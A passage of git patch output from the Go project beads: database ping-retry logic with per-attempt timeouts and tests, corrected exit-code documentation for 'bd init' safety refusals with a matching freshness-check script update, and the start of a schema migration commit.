exact scenario the PR summary claims to fix. Each attempt now runs under its own context.WithTimeout (pingAttemptTimeout, 10s — above the 5s dial timeout so a real dial timeout still surfaces as itself), and context.DeadlineExceeded is classified transient so the retry loop actually continues. pingWithRetry checks the caller's context *before* classifying. That is what keeps the retryable DeadlineExceeded from swallowing the caller's own expiry — the inverse of the regression #6000 introduced by capping each attempt and then treating the resulting DeadlineExceeded as permanent. Covered from both sides: a_hung_ping_is_capped_per_attempt_and_retried and the_caller's_own_deadline_fails_without_retrying. Review #6003, point 2. isTransientPingError stays separate from internal/storage/dolt's isRetryableError, and now says why in full: that one is a query-time classifier matching on error text, admitting migration-lock, read-only and MySQL-1105 shapes a boot ping cannot be in because nothing has executed on the connection yet. The coverage gap the review named is closed on this side instead — *net.OpError is transient, which is refused/reset/broken-pipe portably and by type rather than by substring, with permanent DNS failures excluded so an unresolvable host still fails fast instead of spending the whole budget. Refs be-g1i7n. --- internal/storage/uow/dolt_sql_provider.go | 94 +++++++- .../storage/uow/dolt_sql_provider_test.go | 216 ++++++++++++++++++ 2 files changed, 308 insertions(+), 2 deletions(-) create mode 100644 internal/storage/uow/dolt_sql_provider_test.go diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index c1170031d..0aafb5bed 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -3,13 +3,16 @@ package uow import ( "context" "database/sql" + "database/sql/driver" "errors" "fmt" + "io" + "net" "sync/atomic" "time" "github.com/cenkalti/backoff/v4" - _ "github.com/go-sql-driver/mysql" + "github.com/go-sql-driver/mysql" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" @@ -378,12 +381,99 @@ func buildDSN(ep proxy.Endpoint, database, user, password, tlsConfigName string) }.String() } +// pinger is the subset of *sql.DB that pingWithRetry needs, narrowed so +// tests can script a sequence of transient failures without a real +// connection. +type pinger interface { + PingContext(ctx context.Context) error +} + +// pingAttemptTimeout bounds a single ping attempt. The DSN sets a dial +// Timeout (5s, internal/storage/dbproxy/util/dsn.go) but no ReadTimeout, so a +// server that accepts the TCP connection and then stalls mid-handshake is +// otherwise bounded only by the caller's context. Kept above the dial timeout +// so a genuine dial timeout still surfaces as itself instead of being masked +// by this cap. +const pingAttemptTimeout = 10 * time.Second + +// isTransientPingError reports whether err is a connection-level failure worth +// retrying — the shapes a Dolt server produces when it drops or stalls a +// connection mid-handshake or mid-ping — as opposed to a durable rejection +// (bad credentials, unknown database) that retrying cannot fix. +// +// Any *net.OpError counts. Before the handshake completes there is no +// application-level rejection that can reach us as one, so at boot an OpError +// is always the connection itself: refused while the server restarts, reset, +// or broken pipe. MySQL's own rejections arrive as *mysql.MySQLError and stay +// permanent. A name that does not resolve is the exception — it will not start +// resolving, so retrying only spends the whole budget before reporting the +// same misconfiguration. +// +// context.DeadlineExceeded counts only because pingWithRetry applies a +// per-attempt deadline and checks the caller's context *before* consulting +// this function, so a DeadlineExceeded that reaches here can only be that +// per-attempt cap. Do not call this without that guard: classifying the +// caller's own expiry as transient would retry a context that is already dead, +// which is the regression #6000 introduced from the other direction. +// +// Deliberately narrower than internal/storage/dolt's isRetryableError, which +// covers this same ground for query-time retries in server mode. That one +// matches on error text and additionally admits migration-lock, Dolt +// read-only, and MySQL-1105 shapes — server states that describe a *statement* +// being refused, which a boot ping cannot be in because nothing has executed on +// the connection yet. Matching sentinels and types with errors.Is/errors.As +// keeps this side typed, and keeps a bootstrap ping from inheriting retry +// semantics that only make sense mid-transaction. +func isTransientPingError(err error) bool { + var dnsErr *net.DNSError + if errors.As(err, &dnsErr) && !dnsErr.IsTemporary && !dnsErr.IsTimeout { + return false + } + var opErr *net.OpError + return errors.Is(err, driver.ErrBadConn) || + errors.Is(err, mysql.ErrInvalidConn) || + errors.Is(err, io.EOF) || + errors.Is(err, io.ErrUnexpectedEOF) || + errors.Is(err, context.DeadlineExceeded) || + errors.As(err, &opErr) +} + +// pingWithRetry pings until the server answers, the error proves durable, or +// bo's MaxElapsedTime is spent. Each attempt gets its own deadline: +// backoff.Retry bounds the gap between attempts but cannot interrupt one +// already in flight, so without this cap a server that accepts TCP and then +// stalls blocks for the caller's entire context. +func pingWithRetry(ctx context.Context, p pinger, bo *backoff.ExponentialBackOff, attemptTimeout time.Duration) error { + return backoff.Retry(func() error { + attemptCtx, cancel := context.WithTimeout(ctx, attemptTimeout) + defer cancel() + + err := p.PingContext(attemptCtx) + if err == nil { + return nil + } + // The caller's context is spent, so nothing further can succeed and + // its Canceled/DeadlineExceeded must not be read as a transient + // per-attempt timeout. This check is what lets isTransientPingError + // treat DeadlineExceeded as retryable at all. + if ctx.Err() != nil { + return backoff.Permanent(err) + } + if isTransientPingError(err) { + return err + } + return backoff.Permanent(err) + }, backoff.WithContext(bo, ctx)) +} + func openDB(ctx context.Context, dsn string) (*sql.DB, error) { conn, err := sql.Open("mysql", dsn) if err != nil { return nil, fmt.Errorf("uow: open db: %w", err) } - if err := conn.PingContext(ctx); err != nil { + bo := backoff.NewExponentialBackOff() + bo.MaxElapsedTime = 30 * time.Second + if err := pingWithRetry(ctx, conn, bo, pingAttemptTimeout); err != nil { return nil, errors.Join(fmt.Errorf("uow: ping db: %w", err), conn.Close()) } return conn, nil diff --git a/internal/storage/uow/dolt_sql_provider_test.go b/internal/storage/uow/dolt_sql_provider_test.go new file mode 100644 index 000000000..4a6f84ed1 --- /dev/null +++ b/internal/storage/uow/dolt_sql_provider_test.go @@ -0,0 +1,216 @@ +package uow + +import ( + "context" + "errors" + "net" + "sync/atomic" + "testing" + "time" + + "github.com/cenkalti/backoff/v4" + "github.com/go-sql-driver/mysql" +) + +// fakePinger is a pinger test double that returns a scripted sequence of +// responses and fails the test if called more times than scripted — that +// over-call case is exactly the retry-budget bug this test suite guards +// against. +type fakePinger struct { + t *testing.T + errs []error + calls int +} + +func (p *fakePinger) PingContext(context.Context) error { + p.t.Helper() + if p.calls >= len(p.errs) { + p.t.Fatalf("PingContext called more times than expected (call #%d, only %d responses scripted)", p.calls+1, len(p.errs)) + } + err := p.errs[p.calls] + p.calls++ + return err +} + +// blockingPinger never answers on its own: it stalls until the context it was +// handed is cancelled, then reports that context's error. This is the shape of +// a Dolt server that accepts the TCP connection and then stalls without ever +// completing the MySQL handshake — the DSN sets a dial Timeout but no +// ReadTimeout, so nothing below pingWithRetry bounds it. +type blockingPinger struct { + calls atomic.Int32 + release chan struct{} +} + +func newBlockingPinger(t *testing.T) *blockingPinger { + t.Helper() + p := &blockingPinger{release: make(chan struct{})} + // Unblock any attempt still parked when the test ends, so a failure here + // does not leak a goroutine into the rest of the package's tests. + t.Cleanup(func() { close(p.release) }) + return p +} + +func (p *blockingPinger) PingContext(ctx context.Context) error { + p.calls.Add(1) + select { + case <-ctx.Done(): + return ctx.Err() + case <-p.release: + return errors.New("blockingPinger released at test cleanup") + } +} + +func testPingBackOff() *backoff.ExponentialBackOff { + bo := backoff.NewExponentialBackOff() + bo.InitialInterval = time.Millisecond + bo.MaxElapsedTime = time.Second + return bo +} + +// testPingAttemptTimeout is generous: the subtests that use it script their +// ping responses and never actually stall, so the per-attempt cap must not be +// what ends them. +const testPingAttemptTimeout = time.Second + +func TestPingWithRetryRecoversFromATransientBadConn(t *testing.T) { + t.Run("transient error retries then recovers", func(t *testing.T) { + p := &fakePinger{t: t, errs: []error{mysql.ErrInvalidConn, mysql.ErrInvalidConn, nil}} + + err := pingWithRetry(context.Background(), p, testPingBackOff(), testPingAttemptTimeout) + + if err != nil { + t.Fatalf("pingWithRetry() error = %v, want nil", err) + } + if p.calls != 3 { + t.Fatalf("PingContext called %d times, want exactly 3", p.calls) + } + }) + + t.Run("non-transient error fails without retrying", func(t *testing.T) { + wantErr := errors.New("Access denied") + p := &fakePinger{t: t, errs: []error{wantErr}} + + err := pingWithRetry(context.Background(), p, testPingBackOff(), testPingAttemptTimeout) + + if !errors.Is(err, wantErr) { + t.Fatalf("pingWithRetry() error = %v, want %v", err, wantErr) + } + if p.calls != 1 { + t.Fatalf("PingContext called %d times, want exactly 1 (non-transient errors must not retry)", p.calls) + } + }) + + t.Run("already-cancelled context fails promptly", func(t *testing.T) { + p := &fakePinger{t: t, errs: []error{mysql.ErrInvalidConn}} + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + err := pingWithRetry(ctx, p, testPingBackOff(), testPingAttemptTimeout) + + if err == nil { + t.Fatal("pingWithRetry() error = nil, want non-nil for an already-cancelled context") + } + if p.calls != 1 { + t.Fatalf("PingContext called %d times, want exactly 1 (cancelled context must not retry)", p.calls) + } + }) + + t.Run("connection-level net error retries then recovers", func(t *testing.T) { + // A boot ping cannot fail at the application level before the + // handshake completes, so any *net.OpError here is connection-level: + // connection refused (server restarting), reset, or broken pipe. + refused := &net.OpError{Op: "dial", Net: "tcp", Err: errors.New("connect: connection refused")} + p := &fakePinger{t: t, errs: []error{refused, nil}} + + err := pingWithRetry(context.Background(), p, testPingBackOff(), testPingAttemptTimeout) + + if err != nil { + t.Fatalf("pingWithRetry() error = %v, want nil (a connection-level net error is transient at boot)", err) + } + if p.calls != 2 { + t.Fatalf("PingContext called %d times, want exactly 2", p.calls) + } + }) + + t.Run("unresolvable host fails without retrying", func(t *testing.T) { + // The narrowing that pays for classifying *net.OpError broadly: a name + // that does not resolve will not start resolving, so retrying only + // spends the budget before reporting the same misconfiguration. + dnsErr := &net.OpError{Op: "dial", Net: "tcp", Err: &net.DNSError{ + Err: "no such host", Name: "no-such-dolt-host.invalid", IsNotFound: true, + }} + p := &fakePinger{t: t, errs: []error{dnsErr}} + + err := pingWithRetry(context.Background(), p, testPingBackOff(), testPingAttemptTimeout) + + if !errors.Is(err, dnsErr) { + t.Fatalf("pingWithRetry() error = %v, want %v", err, dnsErr) + } + if p.calls != 1 { + t.Fatalf("PingContext called %d times, want exactly 1 (a permanent DNS failure must not retry)", p.calls) + } + }) +} + +// TestPingWithRetryBoundsEachAttempt covers the half of the retry budget that +// MaxElapsedTime cannot reach: backoff.Retry bounds the gap *between* +// attempts, but it cannot interrupt an attempt already in flight. +func TestPingWithRetryBoundsEachAttempt(t *testing.T) { + t.Run("a hung ping is capped per attempt and retried", func(t *testing.T) { + p := newBlockingPinger(t) + bo := backoff.NewExponentialBackOff() + bo.InitialInterval = time.Millisecond + bo.MaxElapsedTime = 200 * time.Millisecond + + // Run off-goroutine: before the per-attempt cap exists this call never + // returns at all, and the assertion we want is "it returned", not a + // 10-minute package timeout. + done := make(chan error, 1) + go func() { + done <- pingWithRetry(context.Background(), p, bo, 20*time.Millisecond) + }() + + select { + case err := <-done: + if err == nil { + t.Fatal("pingWithRetry() error = nil, want non-nil once the retry budget is exhausted") + } + if got := p.calls.Load(); got < 2 { + t.Fatalf("PingContext called %d times, want >= 2 (each hung attempt must be capped and retried)", got) + } + case <-time.After(5 * time.Second): + t.Fatal("pingWithRetry() never returned: a hung ping is not bounded per attempt, so it blocks for the caller's whole context") + } + }) + + t.Run("the caller's own deadline fails without retrying", func(t *testing.T) { + // The regression guard for the trap #6000 fell into: once a + // per-attempt deadline exists, context.DeadlineExceeded becomes + // retryable — but only when it came from *that* deadline. The + // caller's own expiry must still stop immediately. + p := newBlockingPinger(t) + bo := backoff.NewExponentialBackOff() + bo.InitialInterval = time.Millisecond + bo.MaxElapsedTime = 10 * time.Second + + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Millisecond) + defer cancel() + + start := time.Now() + // Per-attempt cap far beyond the caller's deadline, so the only thing + // that can end this attempt is the caller's context. + err := pingWithRetry(ctx, p, bo, time.Hour) + elapsed := time.Since(start) + + if err == nil { + t.Fatal("pingWithRetry() error = nil, want non-nil once the caller's context expires") + } + if got := p.calls.Load(); got != 1 { + t.Fatalf("PingContext called %d times, want exactly 1 (the caller's own deadline must not be retried as transient)", got) + } + if elapsed > 5*time.Second { + t.Fatalf("pingWithRetry() took %v after a 20ms caller deadline, want it to stop promptly", elapsed) + } + }) +} From 2298c65173cbfea35b263636ae0bdeb0b96f70e9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 8 Sep 2026 10:23:04 -0700 Subject: [PATCH 040/624] docs(recovery): re-review init-safety playbooks; refresh the 90-day marker (#6411) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * docs(recovery): re-review init-safety playbooks; refresh the 90-day marker The Last-reviewed marker crossed the 90-day freshness threshold on Sep 7, turning 'Check doc flags freshness' (and with it PR Policy and the required CI Gate) red for EVERY open PR — #6262 is merge-queued and UNSTABLE on exactly this. Reviewed against the declared freshness sources (init.go, init_safety.go, init_safety_test.go, dolt.go), which changed materially since June (notably the destructive-preflight replacement in #5310 and the server-flag precedence work): the four playbooks' premises still hold — --destroy-token/--reinit-local/--discard-remote all exist and are the refusal remedies, the force-refusal-on-origin-history invariant is intact, and the pk-fork-refused deep link from dolt.go:416 resolves. One drift noted, not a correctness issue: the three init-* anchors are no longer deep-linked from refusal messages post-#5310 (bd help init-safety links the doc generically); a fuller playbook revalidation against the new preflight wording is follow-up material, not a blocker. Co-Authored-By: Claude Fable 5 * docs(recovery): correct the init-safety exit-code mapping under the renewed marker Maintainer review fixup for #6411. The marker bump renews a 90-day freshness warranty asserting the four playbooks' premises still hold; review found one that does not, so fix it rather than reset the clock over it. init-local-exists was headed `Exit code: 11 (ExitLocalExistsRefused)` but led with the "Refusing to destroy N issues in non-interactive mode." symptom, which returns 12 (ExitDestroyTokenMissing, cmd/bd/init.go:2712-2715). Exit 11's only non-test site is the interactive typed-confirm decline (cmd/bd/init.go:2696) — the same split cmd/bd/protocol/exit_codes_init_test.go already documents. The section's recovery (`bd init --reinit-local`) also dead-ended: runInitReinitPreflight gates on reinitLocal alone, so the non-interactive caller the symptom names re-triggers the identical exit-12 refusal. - doc: head init-local-exists with both codes, lead with the true exit-11 interactive symptom, append --destroy-token to the non-interactive recovery, and add the refusal as a second symptom under init-token-missing, whose "Why this happens" attributed the token to --discard-remote alone. - doc: scope the intro's "points here to a labeled anchor" claim to the post-#5310 reality the marker commit itself disclosed (only pk-fork-refused is still deep-linked). - code: correct the ExitLocalExistsRefused and ExitDestroyTokenMissing comments, which are where the doc inherited its mapping error from, and widen the same --discard-remote-only framing in `bd help init-safety`. - gate: add cmd/bd/dolt.go to check-doc-freshness.sh — the doc declares it a freshness source but the script did not enforce it, so drift in the pk-fork playbook's source never tripped the re-review duty. Comment, doc, and help text only; no behavior change. Verified: check-doc-freshness.sh PASSED 10/10 with the added source, go test ./scripts/, the cmd/bd init-safety tests, and the cmd/bd/protocol exit-code contract tests. Co-Authored-By: Claude Opus 5 * fix(ci): sync the doc-freshness test fixture with the init-safety source list The maintainer review fixup for #6411 added `cmd/bd/dolt.go` to the `docs/recovery/init-safety.md` entry of the DOCS array in scripts/check-doc-freshness.sh (and to the doc's own `Freshness source:` marker), but scripts/check_doc_freshness_test.go pins the same list in `freshnessDocuments`, which it uses to build the fixture tree every subtest runs the real script against. The fixture doc's marker line is written from that pinned list, so the script -- correctly -- reported `FAIL: Freshness source does not name cmd/bd/dolt.go` for every case. That reds `.github/workflows/pr.yml`'s check-doc-freshness-platforms matrix, which runs `go test '-tags=integration,gms_pure_go' -count=1 -run '^TestDocFreshness' ./scripts`. GitHub CI never saw it: the six workflows are green on the pushed head 94d76b5a4, which is the one-line marker bump alone, while the fixup that edits the DOCS array has been local-only through the review loop. Add `cmd/bd/dolt.go` to the pinned list so the mirror matches the script. Validated in the adopted worktree: - `go test '-tags=integration,gms_pure_go' -count=1 -run '^TestDocFreshness' ./scripts` -> ok (fails without this commit; passes at 94d76b5a4, so the break is fixup-introduced) - `./scripts/check-doc-freshness.sh` -> PASSED against the real tree - `go build ./...`, `go vet ./cmd/bd/... ./scripts/...` -> clean - `go test ./test/docsync` (Mintlify nav/link guard) -> ok - `go test ./cmd/bd/protocol -run Exit` -> ok - the 14 `cmd/bd/init_safety_test.go` tests -> ok Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Fable 5 --- cmd/bd/init_safety.go | 16 ++++--- cmd/bd/init_safety_help.go | 10 +++-- docs/recovery/init-safety.md | 68 +++++++++++++++++++++++------ scripts/check-doc-freshness.sh | 2 +- scripts/check_doc_freshness_test.go | 2 +- 5 files changed, 74 insertions(+), 24 deletions(-) diff --git a/cmd/bd/init_safety.go b/cmd/bd/init_safety.go index e55fd0faf..a0616609d 100644 --- a/cmd/bd/init_safety.go +++ b/cmd/bd/init_safety.go @@ -26,14 +26,18 @@ const ( // `--discard-remote`. Ambiguous identity source. ExitRemoteDivergenceRefused = 10 - // ExitLocalExistsRefused signals `bd init` was called against a - // directory that already has beads data, without `--force` or - // `--reinit-local`. The existing local-safety refusal. + // ExitLocalExistsRefused signals the interactive typed-confirmation + // for a destructive re-init over existing local data was declined at + // the prompt. That TTY-only path is its sole source: the same guard's + // non-interactive branch returns ExitDestroyTokenMissing instead, and + // a plain `bd init` over an initialized workspace is refused by the + // local-safety guard with an ordinary error, not this code. ExitLocalExistsRefused = 11 - // ExitDestroyTokenMissing signals `--discard-remote` was passed in - // non-interactive mode without a valid `--destroy-token`. The caller - // must look up the token format via `bd help init-safety`. + // ExitDestroyTokenMissing signals a destructive re-init was requested + // in non-interactive mode without a valid `--destroy-token`: either + // `--discard-remote`, or `--reinit-local` over existing local issues. + // The caller must look up the token format via `bd help init-safety`. ExitDestroyTokenMissing = 12 ) diff --git a/cmd/bd/init_safety_help.go b/cmd/bd/init_safety_help.go index cb9129d73..79773a22a 100644 --- a/cmd/bd/init_safety_help.go +++ b/cmd/bd/init_safety_help.go @@ -56,8 +56,10 @@ ADOPTING A REMOTE DESTROY-TOKEN (non-interactive only) - When running with no TTY (CI, agents, piped input), --discard-remote - requires an explicit --destroy-token value. The token format is: + When running with no TTY (CI, agents, piped input), a destructive + re-init requires an explicit --destroy-token value. That covers both + --discard-remote and --reinit-local over existing issues. The token + format is: DESTROY- @@ -75,7 +77,9 @@ EXIT CODES 10 refused: remote has Dolt history and you selected local history without --discard-remote 11 refused: existing local data and you declined the destroy confirm - 12 refused: --discard-remote passed without a valid --destroy-token + (interactive mode only) + 12 refused: destructive re-init (--discard-remote, or --reinit-local + over existing issues) without a valid --destroy-token (non-interactive mode) RECOVERY diff --git a/docs/recovery/init-safety.md b/docs/recovery/init-safety.md index 08de47277..dec576d2d 100644 --- a/docs/recovery/init-safety.md +++ b/docs/recovery/init-safety.md @@ -3,14 +3,18 @@ title: Recovery Playbooks description: Step-by-step recovery for bd init and bd dolt push/pull refusals, including the primary-key fork playbook --- -Last reviewed: 2026-06-09 +Last reviewed: 2026-09-08 Freshness source: `cmd/bd/init.go`, `cmd/bd/init_safety.go`, `cmd/bd/init_safety_test.go`, and `cmd/bd/dolt.go`. This document lives next to the ADRs and matches the structure of `bd`'s error messages: each named refusal in `bd init` and `bd dolt push`/`pull` -points here to a labeled anchor with step-by-step recovery instructions. +has a labeled anchor here with step-by-step recovery instructions. The +`bd dolt push`/`pull` fork refusal deep-links its anchor directly; since +[#5310](https://github.com/gastownhall/beads/pull/5310) the `bd init` +refusals point at `bd help init-safety`, which links this document as a +whole — match those by exit code and symptom text. See also: `bd help init-safety`, and [ADR 0002 — `bd init` safety invariants](https://github.com/gastownhall/beads/blob/main/engdocs/adr/0002-init-safety-invariants.md). @@ -18,8 +22,8 @@ See also: `bd help init-safety`, and ## Table of contents - [init-force-refused — `bd init --force`/`--reinit-local` refused because origin has Dolt history](#init-force-refused) -- [init-token-missing — `--discard-remote` refused because `--destroy-token` is missing or wrong](#init-token-missing) -- [init-local-exists — `bd init` refused because local data already exists](#init-local-exists) +- [init-token-missing — a destructive re-init refused because `--destroy-token` is missing or wrong](#init-token-missing) +- [init-local-exists — `bd init --reinit-local` refused because local data already exists](#init-local-exists) - [pk-fork-refused — `bd dolt pull`/`push` refused because a table has different primary keys in its common ancestor](#pk-fork-refused) --- @@ -92,11 +96,25 @@ team before doing this. bd init refuses: --discard-remote requires an explicit destroy-token in non-interactive mode. ``` +Or, re-initializing over existing local issues with no TTY: + +``` +Refusing to destroy N issues in non-interactive mode. + See 'bd help init-safety' for the required --destroy-token format. +``` + **Why this happens** -You're running non-interactively (CI, agent, piped input) and passed -`--discard-remote`. Destructive cross-boundary operations cannot be -authorized silently. +You're running non-interactively (CI, agent, piped input) and asked for a +destructive re-init. Destructive operations cannot be authorized silently, +so `bd` requires `--destroy-token` in place of the interactive confirmation +it cannot prompt for. + +Both destructive paths need the token, not just the cross-boundary one: + +- `--discard-remote`, which would discard the remote's Dolt history. +- plain `--reinit-local` over existing local issues, which would destroy + them (see [init-local-exists](#init-local-exists)). **Recovery paths** @@ -111,6 +129,10 @@ The token format is `DESTROY-`. For a project whose issue prefix is `bd`: ``` +# Destroys local issues only: +bd init --reinit-local --destroy-token=DESTROY-bd + +# Also discards the remote's Dolt history: bd init --reinit-local --discard-remote --destroy-token=DESTROY-bd ``` @@ -122,22 +144,36 @@ for why the token is never echoed in `bd`'s error messages. ## init-local-exists -**Exit code:** `11` (`ExitLocalExistsRefused`) +**Exit code:** `11` (`ExitLocalExistsRefused`) interactively; +`12` (`ExitDestroyTokenMissing`) non-interactively **Symptom** +Interactive (TTY): you declined the typed `destroy N issues` confirmation. +This is the only path that exits `11`. + +``` +Type 'destroy N issues' to confirm: +Aborted. Database was NOT modified. +``` + +Non-interactive (CI, agent, piped input) — note this exits `12`, not `11`: + ``` Refusing to destroy N issues in non-interactive mode. See 'bd help init-safety' for the required --destroy-token format. ``` -Or, in interactive mode, you declined the typed `destroy N issues` -confirmation. - **Why this happens** -Local `.beads/` has existing issues. `bd init --reinit-local` would -permanently destroy them. +Local `.beads/` has existing issues. `bd init --reinit-local` (or its +deprecated alias `--force`) would permanently destroy them, so `bd` demands +an explicit confirmation first: the typed prompt in a TTY, and a +`--destroy-token` when there is no TTY. This applies to `--reinit-local` on +its own — `--discard-remote` is not required to trigger it. + +A plain `bd init` over an initialized workspace does not reach either code: +the local-safety guard refuses it with an ordinary error before this point. **Recovery paths** @@ -145,7 +181,13 @@ permanently destroy them. ``` bd export > issue-export.jsonl + +# Interactive: confirm at the typed prompt. bd init --reinit-local + +# Non-interactive: the token stands in for the prompt. Without it this +# re-runs straight back into the exit-12 refusal above. +bd init --reinit-local --destroy-token=DESTROY- ``` `issue-export.jsonl` lets you re-import individual issues if needed. It is not diff --git a/scripts/check-doc-freshness.sh b/scripts/check-doc-freshness.sh index 86cba920f..3425d8521 100755 --- a/scripts/check-doc-freshness.sh +++ b/scripts/check-doc-freshness.sh @@ -23,7 +23,7 @@ DOCS=( "docs/getting-started/ide-setup.md|cmd/bd/setup*.go;internal/recipes/" "docs/integrations/azure-devops.md|cmd/bd/ado*.go;internal/ado/" "docs/reference/json-schema.md|cmd/bd/output.go;cmd/bd/errors.go;cmd/bd/protocol/json_contract_test.go" - "docs/recovery/init-safety.md|cmd/bd/init.go;cmd/bd/init_safety.go;cmd/bd/init_safety_test.go" + "docs/recovery/init-safety.md|cmd/bd/init.go;cmd/bd/init_safety.go;cmd/bd/init_safety_test.go;cmd/bd/dolt.go" "engdocs/ERROR_HANDLING.md|cmd/bd/*.go;cmd/bd/errors.go" "engdocs/SERVE_RUNBOOK.md|internal/httpapi/server.go;internal/httpapi/events_watch.go;cmd/bd/serve.go;internal/httpapi/auth.go" "engdocs/LINTING.md|.golangci.yml;scripts/ci/pr-lint.sh;Makefile;.github/workflows/pr.yml;.github/workflows/main.yml" diff --git a/scripts/check_doc_freshness_test.go b/scripts/check_doc_freshness_test.go index 5a4ad97fd..9d4c1847a 100644 --- a/scripts/check_doc_freshness_test.go +++ b/scripts/check_doc_freshness_test.go @@ -20,7 +20,7 @@ var freshnessDocuments = []struct { {"docs/getting-started/ide-setup.md", []string{"cmd/bd/setup*.go", "internal/recipes/"}}, {"docs/integrations/azure-devops.md", []string{"cmd/bd/ado*.go", "internal/ado/"}}, {"docs/reference/json-schema.md", []string{"cmd/bd/output.go", "cmd/bd/errors.go", "cmd/bd/protocol/json_contract_test.go"}}, - {"docs/recovery/init-safety.md", []string{"cmd/bd/init.go", "cmd/bd/init_safety.go", "cmd/bd/init_safety_test.go"}}, + {"docs/recovery/init-safety.md", []string{"cmd/bd/init.go", "cmd/bd/init_safety.go", "cmd/bd/init_safety_test.go", "cmd/bd/dolt.go"}}, {"engdocs/ERROR_HANDLING.md", []string{"cmd/bd/*.go", "cmd/bd/errors.go"}}, {"engdocs/SERVE_RUNBOOK.md", []string{"internal/httpapi/server.go", "internal/httpapi/events_watch.go", "cmd/bd/serve.go", "internal/httpapi/auth.go"}}, {"engdocs/LINTING.md", []string{".golangci.yml", "scripts/ci/pr-lint.sh", "Makefile", ".github/workflows/pr.yml", ".github/workflows/main.yml"}}, From 2bb1e20de0f0072d7600656ea3cb7f606929dcc6 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Tue, 8 Sep 2026 12:47:10 -0700 Subject: [PATCH 041/624] Phase 1: additive schema + migration slot claim for versioned beads (#6134) (#6304) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Phase 1: additive schema + migration slot claim - gastownhall/beads#6134 (refs be-hs42e.2) Failing tests for the versioned-beads Phase 1 schema (issue_versions, store_epoch, issues.current_revision), written before the migration file exists so MigrationSQL("0067_add_versioned_beads_schema.up.sql") and LatestVersion()==67 both fail RED. Confirmed via `go test ./internal/storage/schema/...` (pipefail set — the molecule's own `$TEST_CMD | tee` template misreports success without it, since `tee`'s exit code masks a failing pipeline stage). * feat: green — Phase 1: additive schema + migration slot claim - gastownhall/beads#6134 (refs be-hs42e.2) Adds migration 0067: issue_versions (per-issue version log), store_epoch (store-global epoch singleton, empty until a later phase seeds it), and issues.current_revision (BIGINT NOT NULL DEFAULT 1). Purely additive, no DML/backfill, no PREPARE/EXECUTE wrapper (ADD/DROP COLUMN vanishes under the CLI-bundle path on a pre-2.3 Dolt CLI — see cli_prepared_ddl.go). Also corrects two wrong assumptions baked into the RED-step test: - down.sql files are not part of the //go:embed'd FS (only migrations/*.up.sql is), so MigrationSQL() can never read one for any migration; switched to os.ReadFile, matching TestMigration0035HandlesLegacyWispDependenciesShape's existing precedent. - a plain TEXT column reports information_schema.columns.column_type as "text" in this Dolt version, not "longtext" as assumed. * test(feat): red — Review: Phase 1: additive schema + migration slot claim - gastownhall/beads#6134 (refs be-xrl84) * feat: green — Review: Phase 1: additive schema + migration slot claim - gastownhall/beads#6134 (refs be-xrl84) * docs(release-gates): PASS 7/7 — be-dy66n Phase 1: additive schema + migration slot claim - gastownhall/beads#6134 (deploy bead be-4ka6t). 4 pre-existing, non-diff-owned failure/finding classes encountered and attributed to their tracker beads (be-9ogs6, be-irise, be-w4qbu, be-a0dxu) with clause-3 proof; zero diff-owned failures. PR: gastownhall/beads#6304. * fix(schema): 0067 mirrors current_revision onto wisps and guards its own raw-SQL replay (refs be-yi9vu, be-hs42e.2) Both maintainer rulings on gastownhall/beads#6304. 1. current_revision on both planes. wisps gains `current_revision BIGINT NOT NULL DEFAULT 1`, identical to issues. The semantic asymmetry is kept and written down instead of hidden: nothing in Phase 1, 2 or 3 reads or writes the wisps column — versioning is an issues-plane contract. What it satisfies is a SHAPE obligation. The two planes share column-list-shaped code paths, and TestSchemaParityIssuesVsWisps enforces strict column-name parity with no exemption list; wisps.row_lock (0054 + ignored/0013) is the precedent for a column carried on both planes and meaningful on one. wisps is dolt-ignored, so the main-plane ALTER never runs on a fresh clone. Ships with the ignored-series twin ignored/0026, per check D of scripts/check-migration-hygiene.sh (precedent ignored/0020 for 0060, whose absence is how wisps.storage_class missed every fresh clone). 2. Raw-SQL idempotence for the ADD COLUMNs, and the Go-side guard removed as redundant. internal/storage/dolt/pr4107_corruption_test.go replays the frozen .up.sql bytes from 0046 onward straight through the driver onto an already-migrated store, so nothing in internal/storage/schema is in that path: every migration >= 0046 has to be idempotent as raw SQL on its own, and execMigration0067Body could never have covered it. schema.go is back at origin/main. The guard is now an INFORMATION_SCHEMA-probed PREPARE per plane, the 0060/0066 shape. Dolt accepts no unprepared conditional DDL that would do the same job — ADD COLUMN IF NOT EXISTS, DROP COLUMN IF EXISTS and a top-level IF are all parse errors, and a stored procedure's body needs a client-side DELIMITER that the CLI batch path requires and the Go driver rejects, so one frozen file cannot satisfy both. A PREPARE'd ADD COLUMN vanishes on the pre-2.3 CLI bundle path (dolthub/dolt#11345), so it gets the same direct-DDL override 0060/0065/0066 use: cliMigration0067AddVersionedBeadsSchema, listed in cliSubstituteAssumesWispTables because its wisps ALTER is unguarded. New TestMigration0067ReplaysIdempotentlyAsRawSQLThroughPR4107Harness proves it through that harness rather than a hand-written double-apply: runMigrationSQLFilesFrom(..., "../schema/migrations", 46) twice, asserting the columns stay single, a seeded current_revision survives (a drop-and-re-add would pass a mere existence check while resetting rows), and the tables are not recreated. * review: pin 0067's wisps table-exists sub-guard and scope the rollback hazard Maintainer review fixes for #6304 (Phase 1 versioned-beads schema). All three are non-gating findings from the review synthesis; the scorecard approved with no required changes. - migration_0067_versioned_beads_test.go: pin the wisps arm's table-exists sub-guard. It was neither executed nor string-pinned by any test — the full-chain test seeds bounded at v46 and 0047's repair recreates wisps before 0067's frozen text runs, so the arm never fires against an absent wisps table anywhere in the suite. The pin is on the INFORMATION_SCHEMA .TABLES probe rather than the suggested "TABLE_NAME = 'wisps'" literal: that literal also matches the adjacent COLUMNS probe, so it stays green after the sub-guard is dropped. Verified counterfactually — with the table-exists arm removed, the TABLES pins fail and the literal still matches. - 0067_*.down.sql: the header claimed the pre-2.3 PREPARE hazard 